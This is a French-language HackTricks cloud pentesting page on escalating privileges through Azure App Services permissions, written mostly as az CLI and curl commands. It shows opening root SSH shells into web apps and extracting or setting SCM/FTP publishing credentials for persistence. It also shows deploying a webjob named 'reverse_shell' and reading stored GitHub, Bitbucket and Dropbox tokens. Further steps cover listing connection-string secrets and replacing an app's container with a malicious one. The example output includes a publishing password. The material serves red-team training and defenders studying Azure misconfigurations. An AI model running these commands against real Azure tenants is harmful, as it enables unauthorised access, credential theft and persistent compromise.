Az - App Services Privesc
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
App Services
Pour plus d'informations sur les services d'application Azure, consultez :
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Ces autorisations permettent d'obtenir un SSH shell à l'intérieur d'une application web. Elles permettent également de déboguer l'application.
- SSH en une seule commande :
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Créer un tunnel puis se connecter à SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Déboguer l'application :
- Installez l'extension Azure dans VScode.
- Connectez-vous Ă l'extension avec le compte Azure.
- Listez tous les services App dans la souscription.
- Sélectionnez le service App que vous souhaitez déboguer, faites un clic droit et sélectionnez "Démarrer le débogage".
- Si l'application n'a pas le débogage activé, l'extension essaiera de l'activer mais votre compte doit avoir la permission
Microsoft.Web/sites/config/write
pour le faire.
Obtention des identifiants SCM et activation de l'authentification de base
Pour obtenir les identifiants SCM, vous pouvez utiliser les commandes et permissions suivantes :
- La permission
Microsoft.Web/sites/publishxml/action
permet d'appeler :
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Notez que le nom d'utilisateur est toujours le mĂȘme (sauf dans FTP qui ajoute le nom de l'application au dĂ©but) mais le mot de passe est le mĂȘme pour tous.
De plus, l'URL SCM est <app-name>.scm.azurewebsites.net
.
- La permission
Microsoft.Web/sites/config/list/action
permet d'appeler :
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Notez que les identifiants sont les mĂȘmes que dans la commande prĂ©cĂ©dente.
- Une autre option serait de définir vos propres identifiants et de les utiliser :
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Ensuite, vous pouvez utiliser ces identifiants pour accéder aux plateformes SCM et FTP. C'est aussi un excellent moyen de maintenir la persistance.
N'oubliez pas que pour accéder à la plateforme SCM depuis le web, vous devez accéder à <SCM-URL>/BasicAuth
.
warning
Notez que chaque utilisateur peut configurer ses propres identifiants en appelant la commande précédente, mais si l'utilisateur n'a pas suffisamment de permissions pour accéder au SCM ou au FTP, les identifiants ne fonctionneront pas.
- Si vous voyez que ces identifiants sont REDACTED, c'est parce que vous devez activer l'option d'authentification de base SCM et pour cela, vous avez besoin de la deuxiĂšme permission (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Publier du code en utilisant des identifiants SCM
Il suffit d'avoir des identifiants SCM valides pour publier du code dans le service App. Cela peut ĂȘtre fait en utilisant la commande suivante.
Pour cet exemple en python, vous pouvez télécharger le dépÎt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les modifications que vous souhaitez, puis zippez-le en exécutant : zip -r app.zip .
.
Ensuite, vous pouvez publier le code dans une application web avec la commande suivante :
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | Identifiants SCM
La permission Azure mentionnĂ©e permet d'effectuer plusieurs actions intĂ©ressantes qui peuvent Ă©galement ĂȘtre rĂ©alisĂ©es avec les identifiants SCM :
- Lire les journaux Webjobs :
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Lire le code source de Webjobs :
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Créer Webjob continu :
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ces autorisations permettent de attribuer une identité gérée au service App, donc si un service App a été précédemment compromis, cela permettra à l'attaquant d'attribuer de nouvelles identités gérées au service App et d'escalader les privilÚges vers celles-ci.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
Cette permission permet de lister les connection strings et les appsettings du service App qui peuvent contenir des informations sensibles comme des identifiants de base de données.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Lire les identifiants de tiers configurés
En exécutant la commande suivante, il est possible de lire les identifiants de tiers configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.
Voici quelques exemples de commandes pour vérifier les jetons :
#Â GitHub â List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket â List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
#Â Dropbox â List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
#Â OneDrive â List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Mettre Ă jour le code de l'application depuis la source
- Si la source configurée est un fournisseur tiers comme Github, BitBucket ou un dépÎt Azure, vous pouvez mettre à jour le code du service App en compromettant le code source dans le dépÎt.
- Si l'application est configurée en utilisant un dépÎt git distant (avec nom d'utilisateur et mot de passe), il est possible d'obtenir l'URL et les identifiants d'authentification de base pour cloner et pousser des modifications avec :
- En utilisant la permission
Microsoft.Web/sites/sourcecontrols/read
:az webapp deployment source show --name <app-name> --resource-group <res-group>
- En utilisant la permission
Microsoft.Web/sites/config/list/action
: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
- Si l'application est configurée pour utiliser un dépÎt git local, il est possible de cloner le dépÎt et de pousser des modifications :
- En utilisant la permission
Microsoft.Web/sites/sourcecontrols/read
: Vous pouvez obtenir l'URL du dépÎt git avecaz webapp deployment source show --name <app-name> --resource-group <res-group>
, mais cela sera le mĂȘme que l'URL SCM de l'application avec le chemin/<app-name>.git
(par exemple,https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git
). - Pour obtenir les identifiants SCM, vous avez besoin de la permission :
Microsoft.Web/sites/publishxml/action
: Ensuite, exécutezaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
.Microsoft.Web/sites/config/list/action
: Ensuite, exécutezaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
warning
Notez qu'avoir la permission Microsoft.Web/sites/config/list/action
et les identifiants SCM rend toujours possible le dĂ©ploiement dans une webapp (mĂȘme si elle a Ă©tĂ© configurĂ©e pour utiliser un fournisseur tiers) comme mentionnĂ© dans une section prĂ©cĂ©dente.
warning
Notez qu'avoir les permissions ci-dessous rend Ă©galement possible d'exĂ©cuter un conteneur arbitraire mĂȘme si la webapp a Ă©tĂ© configurĂ©e diffĂ©remment.
Microsoft.Web/sites/config/Write
, Microsoft.Web/sites/config/Read
, Microsoft.Web/sites/config/list/Action
, Microsoft.Web/sites/Read
C'est l'ensemble des permissions qui permet de modifier le conteneur utilisé par une webapp. Un attaquant pourrait en abuser pour faire exécuter un conteneur malveillant à une webapp.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.